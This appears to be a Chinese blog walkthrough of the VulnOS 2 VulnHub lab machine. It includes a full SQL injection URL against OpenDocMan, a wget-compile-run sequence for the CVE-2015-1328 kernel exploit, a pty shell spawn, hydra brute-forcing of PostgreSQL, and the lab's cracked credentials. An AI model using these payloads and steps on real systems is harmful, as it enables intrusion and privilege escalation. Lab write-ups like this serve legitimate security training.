https://www.vulnhub.com/entry/vulnos-2,147/ 靶机下载地址直接导入
1)信息收集
nma -sP 192.168.1.1/24 扫描本地C段 发现vulnosv2 扫描端口

发现存在22 80 6667 访问访问80 Wappalyzer探测到是apache ubuntu


访问admin 404 点击首页链接发现四个模块翻了一圈啥也没有
2)过程
2.1)发现后台路径
body{
Background-color:red;
}

访问jabc0cs路径 guest/guest登录后台 OpenDocMan v1.2.7

2.2)sql注入
https://www.exploit-db.com/exploits/32075 查找exp sql注入


2.3)解密登陆ssh
获得两个账号,guest和webmin 获取到了两个密码 解密:guest webmin1980
https://www.somd5.com/
/ajax_udf.php?q=1&add_value=odm_user%20union%20select%201,password,3,4,5,6,7,8,9%20from%20odm_user
Webmin webmin1980 成功登录ssh

3)提权
3.1)通过内核提权
查看内核版本

查找exp 把脚本下载到攻击机上
https://www.exploit-db.com/exploits/37292
https://github.com/SecWiki/linux-kernel-exploits/tree/master/2015/CVE-2015-1328
python开启web服务
python3 -m http.server 6666
或者直接wget https://github.com/SecWiki/linux-kernel-exploits/blob/master/2015/CVE-2015-1328/37292.c
编译
gcc -o 37292 37292.c
执行./37292
成功提权

python -c 'import pty; pty.spawn("/bin/bash")'
获取交互式shell
3.2) 另一种提权方式
c d ../ 发现一个vulnosadmin 这个目录webmin是没有权限的。

解压webmib目录下的post.tar.gz
tar zxvf post.tar.gz
发现hydra

netstat -at

netstat -ant

发现postgresql 监听端口是 应该是要爆破数据库密码
安装hydra
乌班图手动安装hydrahttps://www.codeleading.com/article/66232800122/
输入
./configure
make
make install
make clean
爆破出账号密码为postgres
postgres 基础操作https://www.cnblogs.com/my-blogs-for-everone/p/10226473.html
进入数据库
psql -h localhost -U postgres
四处浏览
\c system 进入数据库
\dt 列表
select * from users; 查询内容
得到账号密码

登录ssh
ssh vulnosadmin@10.211.55.6:22
ls看到目录下有个r00t.blend

google一下用什么打开这种格式

下载blender 打开文件 先把文件下载到攻击机(win10)使用python开启http

打开文件得到root 密码 ab12fg//drg
登录ssh得到flag

结束
打靶没有实战香!